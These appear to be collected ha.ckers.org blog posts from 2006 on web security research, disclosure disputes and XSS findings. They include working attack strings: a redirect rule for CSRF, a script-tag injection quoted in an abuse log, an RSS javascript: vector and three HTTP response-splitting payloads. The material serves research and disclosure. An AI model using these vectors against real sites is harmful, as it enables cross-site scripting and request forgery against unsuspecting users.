I recently started playing around with Proxyline’s anonymous surfing. I didn’t start out on a mission to figure out ways around it, but when I checked out my own website, I realized the banner ads weren’t showing. From a web application security perspective it makes sense. JavaScript can work outside the confines of any server side protection to re-write URL strings.

Well, the second test I built happened to get around it. In Internet Explorer the null byte character injected anywhere in HTML is ignored. Proxyline apparently didn’t take that into account as it’s really not normal to throw null chars in the middle of HTML. Try entering this URL into Proxyline: http://ha.ckers.org/weird/proxyline.html

Adding a few lines of obfuscation to call my environmental variable page “before” and “after” in an iframe help to show that I can accurately de-anonymize any user of the proxy. Null bytes are tricky but I’m sure there are probably other ways around this as well. I don’t think there is any substitute for real proxies, but it’s an interesting service if they can get it working more securely.

This morning I got into a fairly long winded offline conversation with Huib about how to protect against CSRF in homegrown BBCode. I’ve always thought of BBcode as obfuscation and not an actual security measure. But anyway, we got onto the topic of cross site request forgeries and how they could be used in context of an image to force users to perform actions upon viewing a bulletin board.

He confused me by saying he could detect CSRF through headers. After several exchanges I finally figured out what he was saying, and it’s interesting, although has serious issues. Here is what he was seeing. In Firefox what he was able to detect was that a user had tried to request a .php file while inside of an IMG tag:

GET /img.jpg HTTP/1.0
Host: ha.ckers.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://whatever.com/webboard/
Pragma: no-cache

However, if the image is located on my server all I need to do is throw up a 301 redirect back to his function like so:

Redirect 301 /img.jpg http://yourserver/yourfunction.php?malicious

Now, after the redirection the header looks like:

GET /yourfunction.php?malicious HTTP/1.0
Host: yourserver
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: application/x-shockwave-flash,text/xml,application/xml,
application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,
*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://whatever.com/webboard/
Pragma: no-cache

So, as we can see, you can’t make a prediction upon the intent of the browser (to load an image) by the headers. Internet Explorer is even worse by always requesting the same thing, however, there is an interesting point here. Although this didn’t actually work, there’s no reason the browser couldn’t handle this properly. As the Referer header stays the same, there’s no reason you couldn’t require the same of the redirection. Why would an image be redirected as a HTML file legitimately (aside from perhaps an error condition)? And even so that shouldn’t change the server output unless the function is intented to be secured.

In this way, you could perhaps change a browser to accurately identify certain conditions where CSRF was not allowed. Of course things like Flash header spoofing and XMLHttpRequest throw a wrench into the mix, but both of those actually require full HTML injection as opposed to a simple image link which is highly prevolant on websites. Obviously I haven’t put enough thought into this but it’s an interesting possible enhancement to handle a problem for which I’ve seen very few mitigation efforts identified.

First of all I appologize to my existing readers. I never meant for this site to be non-technical (far from it). However, yesterday I got an email that really needs to be dealt with on this blog. So for this entire post I am going to keep this as non-technical as possible as to prove a useful tool to point people to when they find themselves with web application vulnerabilities. Yesterday, Nukecops.com attempted to shut down ha.ckers.org.

It all started on September 28th at 11PM PST when Ghozt disclosed a POST cross site scripting vulnerability in nukecops.com. While Ghozt has been a member of the web application security forums for a while, he is not an administrator of the website. On the 29th we recieved this email forwarded to us by our upstream provider (forgive the formatting - it’s gone through a number of forwards):

whois indicates you are hosting the server ckers.org at

69.12.144.65

A user is using this server in an attempt to exploit our server through the file

http://ha.ckers.org/xss.jpg

It is likely that they will continue to use this and attempt to hack other servers. This is a violation of your Acceptable Use Policy as stated here: http://www.sonic.net/support/docs/policy.shtml

We hope you will remove this user and ban him from your service.

———- Forwarded message
———-Date: Sep 29, 2006 2:59 AM
Subject: Blocked abuse from 64.71.127.6
Date & Time: 2006-09-29
08:59:05 CEST GMT +0200
Blocked IP: 64.71.127.6
User ID: Anonymous (1)
Reason: Abuse-Filter——————–
User Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Query String: nukecops.com/modules.php?name=Search&query=<script+src=http://ha.ckers
org/xss.jpg+&topic=&category=0&author=&days=0&type=storie
Get String: nukecops.com/modules.php?name=Search&query=<script
src=http://ha.ckers.org/xss.jpg&topic=&category=0&author=&days=0&type=stories
Post String: nukecops.com/modules.php
Forwarded For: none
Client IP: none
Remote Address: 64.71.127.6
Remote Port: 38026
Request Method: GET

– Evaders99 Webmaster of http://www.SWRebellion.comSWCIC - http://www.swcic.net NukeCops admin - http://www.nukecops.com

Now for my retort: 1) I wish Evaders99 had emailed us directly, as I could have explained the whole thing. 2) Ghozt is not an administrator of this website as you can see on the about us page. 3) The file nukecops.com was bothered by is a flat piece of JavaScript, with nothing dynamic about it whatsoever. 4) Although the vector may not be benign the payload is (it cannot actually cause harm by stealing user accounts, credentials or otherwise). It’s only designed to show the security auditor that the vector was successful. 5) This site cannot go down by simply talking to our ISP - we make enough money we can host it anywhere (yes, even overseas). 6) This is simply the worst way to deal with a security vulnerability in your software. 7) I’ve never once been to nukecops.com prior to this email being sent to our upstream (even when Ghozt disclosed the issue).

I had thought after the fallout with Acunetix and F5, companies would wise up. But let me start by explaining my view on why this site exists. It’s a personal tale, but I think it’s one worth telling. I’ve been working on security for the last 12 years. That’s a lifetime in the security space. In that time I’ve seen countless security holes and countless ways to mitigate those holes (build a better firewall, or apply a patch and poof, you’re secure). For the first time in my life, I really don’t know how to solve these issues. Not from my own perspective, but from that of two people I happen to care about - my own parents.

My father is pretty tech savvy, but he’s by no means a security expert. My mom is more of the type who is happy she figured out how to send email at all. Years ago I spent a great deal of time trying to figure out the best advice I could give my parents to protect themselves. I did the obvious stuff - bought them a nice firewall, got anti-spyware and anti-virus installed and locked down their machines a little. But at the end of the day, anyone on this list knows that’ll do nothing against XSS. I thought about telling them to surf without JavaScript or switching their browser or otherwise crippling their computers, but at the end of the day it just would mean I’d be their tech support every time they wanted to send a JavaScript e-card to another family member and it wouldn’t work.

So I gave them the best advice I possibly could that I knew would stick. I told them to not open any spam they recieved. That is the single greatest conduit they have for getting malware on their system. They are not the type to go surfing around random places on the internet, or downloading pirated software or otherwise visiting the darker parts of the net. However, they ARE likely to visit their banks, or stock pages, or bulletin boards about their hobbies. In the end, for as smart as they are, they are also great candidates for XSS credential theft, or otherwise having their identities stolen. There’s nothing I can do to protect them that 0.1% of the time they are in danger that wouldn’t make the other 99.9% of their web surfing experience worse.

As a consumer (not of nukecops.com but of websites in general) I have some recourse - I am capable of defending myself. My parents and the millions of other people just like them have no such resources at their disposal. They are at the mercy of the software vendors whose products they use as well as the companies websites that they visit. Having worked in security for so long, I know companies are resistant to change unless it’s motivated by their pocketbook. What the forums have done is raise awareness to the public eye that the problem isn’t just about throwing up a JavaScript popup on a website, but of how the entire fabric of the internet is now exposed and getting worse as every new developer publishes their pet project without security review.

No one is perfect at application security, and the point of the full disclosure list is not to out companies, per se. It’s to raise awareness of the issue and get people thinking about how the attacks work in real life, as well as how to mitigate those attacks. All this for the eventual purpose of protecting those people who don’t have the means to do so themselves. This is a web application security lab. We run tests. We gather data. We report on that data. I’m not out stealing people’s credentials, their data or their livelihoods. That’s not my style. There are better ways to make money.

What I, and the others on the web application security forums are attempting to do is explain to companies where their holes are, and we are finding out a great deal of information by aggregating it all into one place. So much so, that at least two great findings have come directly from the posts that people have made and the research that goes into finding these issues. Nukecops.com is not special. In fact, I don’t even consider them an especially interesting target. No, they aren’t good at security, and they are even worse at mitigating the risks, but they aren’t any different than any of the other sites. Frankly, if I never hear the word “PHPNuke” again in my life I’d be a happy man.

I hate to bring up the Visa redirect issue again (I find it annoying to call people out for their mistakes when they make good on them), but I was so impressed by them that I think it’s worth mentioning once more. From start to finish the issue was disclosed, they verified the hole, and fixed it all within 30 minutes. Not only that but they forwarded the users to an anti-phishing page to help educate them. That’s exactly the right way to deal with the issues. Fix them and move on. Protect your consumers by taking responsibility for your website and fixing the known issues as expeditiously as possible, not by shutting down the single greatest repository for the information on how to protect them from those very same holes.

The problem with XSS is that each hole I find (with only a few very rare exceptions) is ridiculously easy to fix if you look at it under a microscope. The problem is that fixing one issue won’t stop any bad guy from looking for the other one that wasn’t fixed. So without proper tools to locate and diagnose every hole on the Internet, the best we can do is catalogue the cross site scripting vectors, and discuss mitigation concepts. The only way to do that is to proactively find issues in real web applications by testing their filters for real world mitigation circumvention. Additionally, I poke at every browser for how they interact with websites for the possibility of finding ways in the browsers themselves to protect users or new holes that need further consideration.

No, I don’t work in security - I do this out of my own interest in it. I don’t directly benefit from it. In fact it is very difficult to run this site. I do it for my parents. I do it for your parents. I do it for the millions of consumers who make up the financial future of the Internet that we all use. I know the futility in the concept, as there will always be security holes, but by shutting me up you are only making that problem worse - not better. The holes don’t go away when people like Ghozt don’t have a place to post them, all it does is lessen the pressure on websites like nukecops.com to take responsibility. And who knows, without a place to post, perhaps out of frustration, he or others would resort to more malicious activity after having been ignored once too many times - having lacked a proper constructive outlet.

So even as I put Evaders99 on my list of people who clearly don’t “get” it, there is still hope for him and other people like him to take the correct approach and solve their issues and protect us as consumers. This doesn’t mean they need to issue a press release, they simply need to fix their own known issues so people like my parents can use the Internet without risking their financial security in doing so.

Okay, maybe it’s not old yet, but Jeremiah’s CSS history hack has now been expanded by SPI Dynamics into a new way to know information about your users. SPI Dynamics showed that you can guess Google terms by enumerating through potential query string parameters. Although the math works out, the demo isn’t a particularly good example of how to do this - It seems a little buggy.

This could be particularly interesting if you are a marketing person and you want to do ultra targeted advertizing on your website given the search terms that the user has already used. Obviously there is a big chance you won’t find anything at all, but by knowing what the referring URL is you might be able to limit your searching to a small minority of interesting search terms that are valuable to market to. I always knew the root of all evil was marketing.

Here are my own mitigating factors (I’m sure there are more but this is just me personally). First of all I had JavaScript turned off. Next, I had Safe history’s cross domain restrictions. Lastly, I don’t use Google. Ouch! But the idea is the same and I’m certainly in some bizzarre ultra small group of internet users who should be locked up and studied, but the point is that this is very possible. Nice work from the SPI guys. See? I’m not such an ass.

I happened accross a link at snellspace.com showing some interesting XSS tests he had done in RSS readers. Typically I’m not particularly interested in RSS reader security unless it applies to web applications, but he actually showed a vector that I hadn’t seen before.

<link xml:base="javascript:alert('XSS')//" href="" />

Because RSS is all XML you fall into interesting namespaces. This is a little more interesting than most things like it I’ve seen because of that simple fact. Anyway, he has some really nice test cases if you are doing RSS aggregator development or otherwise just want to test your own feed reader. It’s worth a look if you’re interested in that sort of thing.

B10m recently found some issues in eBay. eBay allows JavaScript in certain contexts according to their website. According to B10m the small security issue is now patched. Allowing JavaScript really makes website security difficult, but I’m glad they were so on top of it. Here’s B10m’s email:

Hello,

Recently I discovered an exploit on eBay[1]. Unfortunately, eBay didn’t reply to me, but only after publication on the Dutch e-zine WebWereld[2].

They did, however, patch this little hole now, but still allowing Javascript…

It’s patched for now, but maybe still nice to see (I did link to your site

1. http://menno.b10m.net/blog/blosxom.cgi/2006/09/25#ebay-xss
2. http://webwereld.nl/articles/43086/nederlander-ontdekt-xss-lek-in-ebay-sites.html

Glad to see it fixed, and I’m glad B10m gave them a chance to fix the issue. Finding these issues before the bad guys do is the name of the game (that’s why the web app scanner community exists at all). Raising awareness is never a bad thing. And yes, B10m, it’s still nice to see - even after the fact. Especially since the vectors mentioned were of the more obscure (where websites allow JavaScript but try to limit it).

Likewise the other day a redirect hole was found in Visa on the redirects disclosure thread. Within a few minutes (literally) the redirect in Visa was taken down and replaced with a page explaining that the link may be a phishing scam. Talk about on the ball! I was really impressed at how quickly they were able to do this. Big websites are always targets for good and bad guys alike - but it’s amazing how quickly these issues are getting patched. Clearly someone is paying attention. It’s better if we are the ones finding this than the phishers who aren’t nearly as gentle, and it’s a great feeling to know how important these issues are to companies with whom we all do business.

For all it’s faults, the forums have been an excellent resource for looking at real world vulnerabilities. Most of the time it’s the same old alert box or maybe jumping out of a quote or something, but nothing particularly interesting from a new vector perspective. Maluc started a thread looking for redirects. At first I was a little ho-hum about posting redirects, but then I started looking at what he was finding and how and then it started getting more interesting.

First of all there are basically three different ways to do redirects. The first is the most obvious, a 301 or 302 redirect using a “Location” HTTP header. The second is using a META refresh. The third is using JavaScript. The second two have obvious XSS issues that I won’t go into (or shouldn’t have to).

The 301 and 302 redirects are the more interesting ones to me personally. Over a sample of 28 redirect holes that Maluc and others contributed to, I found 7 of them had HTTP Response Splitting issues. Several others had the typical XSS holes as well, but again I’m not going to go into those. By my math that’s 1/4th of all redirects tested were vulnerable to HTTP Response Splitting to inject HTML that contained JavaScript.

Okay, let’s start over. How do we go about finding redirect holes? Redirects are used generally for tracking purposes. Companies want to see what you clicked on. So instead of using an onclick event they redirect them through their infrastructure and spit them out on the other side with some form of redirection. Maluc used something like inurl:redir (with some additional search parameters). Previously I wrote my own Greasemonkey script to do the same. However it happens, they’re everywhere and pretty easy to find just by looking at the URL structure.

Okay, so that part is easy, what about the exploitation itself? Of the 7 vulnerable sites, there were only three variations of vulnerable response splitting:

%0AContent-Type:html%0A%0A%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
%0AContent-Type:html%0A%0A%3Cscript%3Ealert(%22XSS%22)%3C/script%3Ehttp://www.test.com
%0AContent-type:%20text/html%0A%0Ahttp://www.test.com/%3Cscript%3Ealert(%22XSS%22)%3C/script%3E

There are reasons for each and there are more variants - some systems may require %0D%0A instead of just %0A but the point is the same. These are very real attack vectors allowing JavaScript to be injected on input parameters that contain typically nothing but an innocuous URL string.

So yes, there will be some people out there that say “redirects are safe, it’s HTTP Response splitting that’s not” and I’ll smile and nod and wait for the next attack vector against them to come out. Personally I don’t think it’s worth the risk.

Well, it’s probably time that I posted this, although I’m pretty sure the end is nowhere in sight - but it’s probably worth a status update. The web application security forums were only built a month or so ago and they are already on fire. Not just because there are a lot of vulnerabilities being posted in the “Full Disclosure” section, but because of the drama that ensued with two security companies, F5 and Acunetix. Maybe I should start from the top.

This morning I was doing my morning ritual with my lovely girlfriend. We just got this very cool chair called a Sumo Lounge that’s sorta like a big bean bag chair only way more art-deco and way more comfortable (check the website if you need a hacker chair - it’s seriously our most comfortable peice of furniture). Anyway, my girlfriend was sitting in the Sumo Lounge asking me about what’s been going down over the last few days. More or less I think she was concerned that what has been happening is either illegal or otherwise bad. I’m no lawyer, but Jeremiah Grossman did a wonderful writeup on why it shouldn’t be illegal. To paraphrase him yes, it’s probably illegal in certain countries, but here it’s an open issue.

So anyway, in relative comfort I can move onto the drama. F5 and Acunetix both were found to have XSS/HTML injection vulnerabilities in them. Not a big deal except it’s a slap in the face to have security issues if you are a security company. Around this time we get slashdotted and written up in a number of articles [here] and [here]. Then the snowball effect of the group takes over and the group finds their way onto tons of different news sites, including theirs.

This all probably would have died down, but then F5 and Acunetix deny that they were vulnerable. Bad move. First of all they WERE vulnerable, secondly, the members of the forum immediately found more vulnerabilities in the two security companies websites. This time with screenshots. Ouch. There’s a pretty amusing writeup at NOT4H4×0r’s blog about the whole thing.

Wow… Anyway, as I regail my girlfriend about the tail and she is sitting in the Sumo Lounge I think she’s too comfortable because no non-technical person can listen to anyone nerding out that much without getting bored. So two conclusions: 1) this is a bigger problem than anyone realized, if even only for public relations reasons and 2) the Sumo Lounge stays.

Today Ghozt on the XSS forums found a rather interesting link while searching google. He’s found proof that Google will in fact index XSS. The link that Ghozt found was actually not a working XSS exploit, but that’s irrelevant. In this case, if it had worked, Google would have indexed it and shown a working exploit. This is the first time I’ve seen 100% proof that Google will index cross site scripting attacks. Cool!

Click to enlarge

We all thought it probably was true, but until now I hadn’t seen any verifiable proof of such. Sure enough this was indexed from a blog post by Nitesh Dhanjani, here and here. So perhaps there is some ranking associated with the potential importance of such a link, and therefor Google will only index an XSS if it is coming from a trusted host (raising the importance of persistant XSS on trusted domains - like .edu TLDs as Jamie was talking about). Either way, it’s pretty exciting to see a theory turn into proof.

I saw this post from SIFT yesterday and I thought it was definitely worth posting. It’s regarding using XML parsers to do intranet port scanning. Pretty cool stuff! However, unlike the JavaScript port scanning it is not as indescriminant - relying on the server accepting XML inputs.

This is a different take on the same exploit though - using internal devices against themselves. I guess the mitigating factor here is that production machines, and machines of any value should be isolated so they cannot be accessed without special permission (login authentication or otherwise). It’s not 100% foolproof, as lots of applications need to talk with one another concurrently. Still, interesting stuff coming from SIFT.